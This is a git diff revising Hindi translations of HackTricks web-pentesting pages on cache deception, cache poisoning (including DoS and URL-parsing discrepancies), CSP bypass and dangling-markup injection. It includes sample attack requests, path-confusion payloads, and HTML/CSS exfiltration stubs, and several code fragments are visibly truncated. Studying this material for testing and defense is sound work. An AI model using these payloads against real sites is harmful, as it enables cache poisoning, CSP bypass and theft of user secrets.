+ध्यान दें कि **cache proxy** को फ़ाइलों को **extension** के आधार पर **cache** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए (_.css_) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
यहां जानें कि [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)।
## Automatic Tools
-- [**toxicache**](https://github.com/xhzeem/toxicache): Golang स्कैनर जो URLs की एक सूची में वेब कैश पॉइज़निंग कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए है।
+- [**toxicache**](https://github.com/xhzeem/toxicache): URLs की एक सूची में वेब कैश पॉइज़निंग कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए Golang स्कैनर।
## References
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
index 6877ff389..3f725e875 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
@@ -3,11 +3,11 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
-> इस पृष्ठ पर आप विभिन्न प्रकार के तरीके पा सकते हैं जो **वेब सर्वर को त्रुटियों के साथ प्रतिक्रिया देने** के लिए प्रयास करते हैं जो **कैश सर्वरों के लिए मान्य हैं**
+> इस पृष्ठ पर आप विभिन्न प्रकार के तरीके पा सकते हैं जो **वेब सर्वर को त्रुटियों के साथ प्रतिक्रिया करने** के लिए प्रयास करते हैं जो **कैश सर्वरों के लिए मान्य हैं**
- **HTTP Header Oversize (HHO)**
-एक अनुरोध भेजें जिसमें हेडर का आकार वेब सर्वर द्वारा समर्थित आकार से बड़ा हो लेकिन कैश सर्वर द्वारा समर्थित आकार से छोटा हो। वेब सर्वर 400 प्रतिक्रिया के साथ प्रतिक्रिया देगा जो कैश किया जा सकता है:
+एक अनुरोध भेजें जिसमें हेडर का आकार वेब सर्वर द्वारा समर्थित आकार से बड़ा हो लेकिन कैश सर्वर द्वारा समर्थित आकार से छोटा हो। वेब सर्वर 400 प्रतिक्रिया के साथ प्रतिक्रिया करेगा जो कैश किया जा सकता है:
```
GET / HTTP/1.1
Host: redacted.com
@@ -92,7 +92,7 @@ Not Found
```
- **पथ सामान्यीकरण**
-कुछ पृष्ठ त्रुटि कोड लौटाएंगे जो पथ में डेटा URLencode भेजते हैं, हालाँकि, कैश सर्वर पथ को URLdecode करेगा और URLdecoded पथ के लिए प्रतिक्रिया को संग्रहीत करेगा:
+कुछ पृष्ठ त्रुटि कोड लौटाएंगे जो पथ में डेटा URLencode कर रहे हैं, हालाँकि, कैश सर्वर पथ को URLdecode करेगा और URLdecoded पथ के लिए प्रतिक्रिया को संग्रहीत करेगा:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index 170dab43e..c8699c159 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -2,51 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
-यह उस पोस्ट में प्रस्तावित तकनीकों का सारांश है [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) ताकि कैश पॉइज़निंग हमले किए जा सकें **कैश प्रॉक्सी और वेब सर्वर के बीच भिन्नताओं का दुरुपयोग करते हुए।**
+यह उन तकनीकों का सारांश है जो पोस्ट [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) में प्रस्तावित की गई हैं ताकि **कैश प्रॉक्सी और वेब सर्वर के बीच के भिन्नताओं का दुरुपयोग करके कैश पॉइज़निंग हमले किए जा सकें।**
> [!NOTE]
-> इस हमले का लक्ष्य है **कैश सर्वर को यह सोचने के लिए मजबूर करना कि एक स्थिर संसाधन लोड किया जा रहा है** ताकि यह इसे कैश करे जबकि कैश सर्वर पथ का एक भाग कैश कुंजी के रूप में संग्रहीत करता है लेकिन वेब सर्वर एक अन्य पथ को हल करता है। वेब सर्वर वास्तविक पथ को हल करेगा जो एक गतिशील पृष्ठ को लोड करेगा (जो उपयोगकर्ता के बारे में संवेदनशील जानकारी, XSS जैसे दुर्भावनापूर्ण पेलोड या हमलावर की वेबसाइट से JS फ़ाइल लोड करने के लिए पुनर्निर्देशित कर सकता है)।
+> इस हमले का लक्ष्य **कैश सर्वर को यह सोचने के लिए मजबूर करना है कि एक स्थिर संसाधन लोड किया जा रहा है** ताकि यह इसे कैश करे जबकि कैश सर्वर पथ का एक भाग कैश कुंजी के रूप में संग्रहीत करता है लेकिन वेब सर्वर एक अन्य पथ को हल करता है। वेब सर्वर वास्तविक पथ को हल करेगा जो एक गतिशील पृष्ठ को लोड करेगा (जो उपयोगकर्ता के बारे में संवेदनशील जानकारी, XSS जैसे दुर्भावनापूर्ण पेलोड या हमलावर की वेबसाइट से JS फ़ाइल लोड करने के लिए पुनर्निर्देशित कर सकता है)।
## Delimiters
-**URL delimiters** ढांचे और सर्वर के अनुसार भिन्न होते हैं, जो यह प्रभावित करते हैं कि अनुरोध कैसे रूट किए जाते हैं और प्रतिक्रियाएँ कैसे संभाली जाती हैं। कुछ सामान्य मूल भिन्नताएँ हैं:
+**URL delimiters** फ्रेमवर्क और सर्वर के अनुसार भिन्न होते हैं, जो यह प्रभावित करते हैं कि अनुरोध कैसे रूट किए जाते हैं और प्रतिक्रियाएँ कैसे संभाली जाती हैं। कुछ सामान्य मूल डेलिमिटर्स हैं:
- **Semicolon**: मैट्रिक्स वेरिएबल के लिए स्प्रिंग में उपयोग किया जाता है (जैसे `/hello;var=a/world;var1=b;var2=c` → `/hello/world`)।
- **Dot**: Ruby on Rails में प्रतिक्रिया प्रारूप निर्दिष्ट करता है (जैसे `/MyAccount.css` → `/MyAccount`)
- **Null Byte**: OpenLiteSpeed में पथों को संक्षिप्त करता है (जैसे `/MyAccount%00aaa` → `/MyAccount`)।
- **Newline Byte**: Nginx में URL घटकों को अलग करता है (जैसे `/users/MyAccount%0aaaa` → `/account/MyAccount`)।
-इस प्रक्रिया के बाद अन्य विशिष्ट भिन्नताएँ पाई जा सकती हैं:
+अन्य विशिष्ट डेलिमिटर्स इस प्रक्रिया के बाद पाए जा सकते हैं:
-- **Step 1**: गैर-कैश करने योग्य अनुरोधों की पहचान करें और यह देखने के लिए उनका उपयोग करें कि संभावित भिन्नताओं वाले URL को कैसे संभाला जाता है।
-- **Step 2**: पथों में यादृच्छिक उपसर्ग जोड़ें और यह निर्धारित करने के लिए सर्वर की प्रतिक्रिया की तुलना करें कि क्या कोई वर्ण भिन्नता के रूप में कार्य करता है।
-- **Step 3**: यह देखने के लिए यादृच्छिक उपसर्ग से पहले संभावित भिन्नताएँ पेश करें कि क्या प्रतिक्रिया बदलती है, जो भिन्नता के उपयोग को इंगित करती है।
+- **Step 1**: गैर-कैश योग्य अनुरोधों की पहचान करें और यह देखने के लिए उनका उपयोग करें कि संभावित डेलिमिटर्स वाले URLs को कैसे संभाला जाता है।
+- **Step 2**: पथों में यादृच्छिक उपसर्ग जोड़ें और यह निर्धारित करने के लिए सर्वर की प्रतिक्रिया की तुलना करें कि क्या कोई वर्ण डेलिमिटर के रूप में कार्य करता है।
+- **Step 3**: यादृच्छिक उपसर्ग से पहले संभावित डेलिमिटर्स पेश करें यह देखने के लिए कि क्या प्रतिक्रिया बदलती है, जो डेलिमिटर के उपयोग को इंगित करती है।
## Normalization & Encodings
-- **Purpose**: कैश और मूल सर्वरों में URL पार्सर URL को सामान्य करते हैं ताकि अंत बिंदु मैपिंग और कैश कुंजी के लिए पथ निकाले जा सकें।
-- **Process**: पथ भिन्नताओं की पहचान करता है, वर्णों को डिकोड करके और डॉट-सेगमेंट को हटा कर पथ को निकालता और सामान्य करता है।
+- **Purpose**: कैश और मूल सर्वरों में URL पार्सर URLs को सामान्यीकृत करते हैं ताकि एंडपॉइंट मैपिंग और कैश कुंजी के लिए पथ निकाले जा सकें।
+- **Process**: पथ डेलिमिटर्स की पहचान करता है, और वर्णों को डिकोड करके और डॉट-सेगमेंट को हटा कर पथ को निकालता और सामान्यीकृत करता है।
### **Encodings**
-विभिन्न HTTP सर्वर और प्रॉक्सी जैसे Nginx, Node, और CloudFront भिन्नताओं को अलग-अलग डिकोड करते हैं, जिससे CDNs और मूल सर्वरों के बीच असंगतियाँ उत्पन्न होती हैं जिन्हें शोषित किया जा सकता है। उदाहरण के लिए, यदि वेब सर्वर इस परिवर्तन को करता है `/myAccount%3Fparam` → `/myAccount?param` लेकिन कैश सर्वर कुंजी के रूप में पथ `/myAccount%3Fparam` को रखता है, तो एक असंगति है।
+विभिन्न HTTP सर्वर और प्रॉक्सी जैसे Nginx, Node, और CloudFront डेलिमिटर्स को अलग-अलग डिकोड करते हैं, जिससे CDNs और मूल सर्वरों के बीच असंगतियाँ उत्पन्न होती हैं जिन्हें शोषित किया जा सकता है। उदाहरण के लिए, यदि वेब सर्वर इस परिवर्तन को करता है `/myAccount%3Fparam` → `/myAccount?param` लेकिन कैश सर्वर कुंजी के रूप में पथ `/myAccount%3Fparam` को रखता है, तो एक असंगति है।
इन असंगतियों की जांच करने का एक तरीका यह है कि पथ को बिना किसी एन्कोडिंग के लोड करने के बाद विभिन्न वर्णों को URL एन्कोडिंग के साथ अनुरोध भेजें और जांचें कि क्या एन्कोडेड पथ की प्रतिक्रिया कैश की गई प्रतिक्रिया से आई थी।
### Dot segment
-जहाँ डॉट शामिल होते हैं, पथ सामान्यीकरण भी कैश पॉइज़निंग हमलों के लिए बहुत दिलचस्प है। उदाहरण के लिए, `/static/../home/index` या `/aaa..\home/index`, कुछ कैश सर्वर इन पथों को अपने आप को कुंजी के रूप में कैश करेंगे जबकि अन्य पथ को हल कर सकते हैं और `/home/index` को कैश कुंजी के रूप में उपयोग कर सकते हैं।\
-जैसे पहले, इस प्रकार के अनुरोध भेजना और यह जांचना कि क्या प्रतिक्रिया कैश से प्राप्त की गई थी, यह पहचानने में मदद करता है कि `/home/index` के लिए प्रतिक्रिया उन पथों के अनुरोध किए जाने पर भेजी गई प्रतिक्रिया है।
+जहाँ डॉट शामिल होते हैं, पथ सामान्यीकरण भी कैश पॉइज़निंग हमलों के लिए बहुत दिलचस्प है। उदाहरण के लिए, `/static/../home/index` या `/aaa..\home/index`, कुछ कैश सर्वर इन पथों को उनके साथ कुंजी के रूप में कैश करेंगे जबकि अन्य पथ को हल कर सकते हैं और `/home/index` को कैश कुंजी के रूप में उपयोग कर सकते हैं।\
+जैसे पहले, इस प्रकार के अनुरोध भेजना और यह जांचना कि क्या प्रतिक्रिया कैश से प्राप्त की गई थी, यह पहचानने में मदद करता है कि `/home/index` के लिए प्रतिक्रिया वही है जो उन पथों के अनुरोध किए जाने पर भेजी गई थी।
## Static Resources
कई कैश सर्वर हमेशा एक प्रतिक्रिया को कैश करेंगे यदि इसे स्थिर के रूप में पहचाना गया। यह इस कारण हो सकता है:
- **The extension**: Cloudflare हमेशा निम्नलिखित एक्सटेंशन वाले फ़ाइलों को कैश करेगा: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
-- यह एक गतिशील प्रतिक्रिया को कैश करने के लिए एक भिन्नता और एक स्थिर एक्सटेंशन का उपयोग करके मजबूर करना संभव है जैसे `/home$image.png` के लिए अनुरोध `/home$image.png` को कैश करेगा और मूल सर्वर `/home` के साथ प्रतिक्रिया देगा
+- यह एक गतिशील प्रतिक्रिया को कैश करने के लिए एक डेलिमिटर और एक स्थिर एक्सटेंशन का उपयोग करके मजबूर करना संभव है जैसे `/home$image.png` का अनुरोध `/home$image.png` को कैश करेगा और मूल सर्वर `/home` के साथ प्रतिक्रिया देगा
- **Well-known static directories**: निम्नलिखित निर्देशिकाएँ स्थिर फ़ाइलें रखती हैं और इसलिए उनकी प्रतिक्रिया को कैश किया जाना चाहिए: /static, /assets, /wp-content, /media, /templates, /public, /shared
-- यह एक भिन्नता, एक स्थिर निर्देशिका और डॉट्स का उपयोग करके गतिशील प्रतिक्रिया को कैश करने के लिए मजबूर करना संभव है जैसे: `/home/..%2fstatic/something` `/static/something` को कैश करेगा और प्रतिक्रिया होगी`/home`
-- **Static dirs + dots**: `/static/..%2Fhome` या `/static/..%5Chome` के लिए अनुरोध को जैसे है कैश किया जा सकता है लेकिन प्रतिक्रिया `/home` हो सकती है
-- **Static files:** कुछ विशिष्ट फ़ाइलें हमेशा कैश की जाती हैं जैसे `/robots.txt`, `/favicon.ico`, और `/index.html`। जिसे इस तरह से दुरुपयोग किया जा सकता है जैसे `/home/..%2Frobots.txt` जहाँ कैश `/robots.txt` को स्टोर कर सकता है और मूल सर्वर `/home` के लिए प्रतिक्रिया देता है।
+- यह एक गतिशील प्रतिक्रिया को कैश करने के लिए एक डेलिमिटर, एक स्थिर निर्देशिका और डॉट्स का उपयोग करके मजबूर करना संभव है जैसे: `/home/..%2fstatic/something` `/static/something` को कैश करेगा और प्रतिक्रिया होगी `/home`
+- **Static dirs + dots**: `/static/..%2Fhome` या `/static/..%5Chome` के लिए एक अनुरोध जैसे है, इसे वैसा ही कैश किया जा सकता है लेकिन प्रतिक्रिया `/home` हो सकती है
+- **Static files:** कुछ विशिष्ट फ़ाइलें हमेशा कैश की जाती हैं जैसे `/robots.txt`, `/favicon.ico`, और `/index.html`। जिसे इस तरह से दुरुपयोग किया जा सकता है जैसे `/home/..%2Frobots.txt` जहाँ कैश `/robots.txt` को संग्रहीत कर सकता है और मूल सर्वर `/home` के लिए प्रतिक्रिया देता है।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index e5641b8a5..e5c900315 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -4,7 +4,7 @@
## What is CSP
-Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और JavaScript जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (self) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।
+Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और JavaScript जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (स्वयं) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।
CSP का कार्यान्वयन **प्रतिक्रिया हेडर** के माध्यम से या **HTML पृष्ठ में मेटा तत्वों को शामिल करके** किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र सक्रिय रूप से इन शर्तों को लागू करते हैं और तुरंत किसी भी पहचानी गई उल्लंघनों को ब्लॉक कर देते हैं।
@@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```
### Headers
-CSP को इन हेडर का उपयोग करके लागू या मॉनिटर किया जा सकता है:
+CSP को इन हेडर्स का उपयोग करके लागू या मॉनिटर किया जा सकता है:
- `Content-Security-Policy`: CSP को लागू करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक करता है।
- `Content-Security-Policy-Report-Only`: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। प्री-प्रोडक्शन वातावरण में परीक्षण के लिए आदर्श।
@@ -42,10 +42,10 @@ object-src 'none';
- **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं।
- **default-src**: जब विशिष्ट फेच निर्देश अनुपस्थित होते हैं, तो संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
- **child-src**: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमत संसाधनों को निर्दिष्ट करता है।
-- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है।
+- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसे इंटरफेस का उपयोग करके लोड किया जा सकता है।
- **frame-src**: फ्रेम के लिए URLs को प्रतिबंधित करता है।
- **frame-ancestors**: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जो ``, ` // The bot will load an URL with the payload
@@ -542,13 +542,13 @@ run()
```
### Via Bookmarklets
-यह हमला कुछ सामाजिक इंजीनियरिंग को शामिल करेगा जहाँ हमलावर **उपयोगकर्ता को ब्राउज़र के बुकमार्कलेट पर एक लिंक खींचने और छोड़ने के लिए मनाता है**। यह बुकमार्कलेट **दुष्ट जावास्क्रिप्ट** कोड शामिल करेगा जो खींचने और छोड़ने या क्लिक करने पर वर्तमान वेब विंडो के संदर्भ में निष्पादित होगा, **CSP को बायपास करते हुए और संवेदनशील जानकारी** जैसे कुकीज़ या टोकन चुराने की अनुमति देगा।
+यह हमला कुछ सामाजिक इंजीनियरिंग को शामिल करेगा जहाँ हमलावर **उपयोगकर्ता को ब्राउज़र के बुकमार्कलेट पर एक लिंक खींचने और छोड़ने के लिए मनाता है**। यह बुकमार्कलेट **दुष्ट जावास्क्रिप्ट** कोड को शामिल करेगा जो खींचने और छोड़ने या क्लिक करने पर वर्तमान वेब विंडो के संदर्भ में निष्पादित होगा, **CSP को बायपास करते हुए और संवेदनशील जानकारी** जैसे कि कुकीज़ या टोकन चुराने की अनुमति देगा।
अधिक जानकारी के लिए [**यहाँ मूल रिपोर्ट देखें**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)।
### CSP bypass by restricting CSP
-[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है**।
+[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करने की अनुमति देता है ताकि एक मनमाना स्क्रिप्ट लोड किया जा सके**।
आप **`csp`** विशेषता के साथ **एक Iframe का CSP प्रतिबंधित कर सकते हैं**:
```html
@@ -556,8 +556,8 @@ run()
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'">
```
-इस [**CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML इंजेक्शन** के माध्यम से **CSP** को अधिक **सीमित** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **कमजोरी का उपयोग किया जा सका।**\
-CSP को **HTML मेटा टैग** का उपयोग करके अधिक सीमित किया जा सकता है और इनलाइन स्क्रिप्ट को **हटाने** से **प्रवेश** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट इनलाइन स्क्रिप्ट को सक्षम किया जा सकता है:
+[**इस CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML इंजेक्शन** के माध्यम से **CSP** को और अधिक **सीमित** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **कमजोरी का उपयोग किया जा सकता था।**\
+CSP को **HTML मेटा टैग** का उपयोग करके अधिक सीमित किया जा सकता है और इनलाइन स्क्रिप्ट को **हटाने** के द्वारा **प्रवेश** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट इनलाइन स्क्रिप्ट को **सक्षम** किया जा सकता है:
```html
```
@@ -700,7 +700,7 @@ var pc = new RTCPeerConnection({
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
-## CSP नीतियों की ऑनलाइन जांच
+## CSP नीतियों की ऑनलाइन जांच करना
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
index 9d148b546..8a3ab7ab5 100644
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@@ -4,16 +4,16 @@
## Resume
-यह तकनीक तब उपयोग की जा सकती है जब **HTML injection पाया जाता है**। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषित करने के लिए लेकिन आप **कुछ HTML टैग्स** इंजेक्ट कर सकते हैं।\
+यह तकनीक तब उपयोग की जा सकती है जब **HTML injection पाया जाता है**। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषण करने के लिए लेकिन आप **कुछ HTML टैग्स** को **inject** कर सकते हैं।\
यह तब भी उपयोगी है जब कुछ **गुप्त जानकारी स्पष्ट पाठ में** HTML में सहेजी गई हो और आप इसे **exfiltrate** करना चाहते हैं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हैं।
-यहां कई तकनीकें टिप्पणी की गई हैं जिन्हें कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए उपयोग किया जा सकता है।
+यहां टिप्पणी की गई कई तकनीकों का उपयोग कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए किया जा सकता है।
## Main Applications
### Stealing clear text secrets
-यदि आप `@import//hackvertor.co.uk? <--- Injected
steal me!;
@@ -49,7 +49,7 @@ steal me'test
### फॉर्म चुराना 3
-बटन URL को बदल सकता है जहाँ फॉर्म की जानकारी भेजी जाएगी "formaction" विशेषता के साथ:
+बटन "formaction" विशेषता के साथ उस URL को बदल सकता है जहाँ फॉर्म की जानकारी भेजी जाएगी:
```html
.png)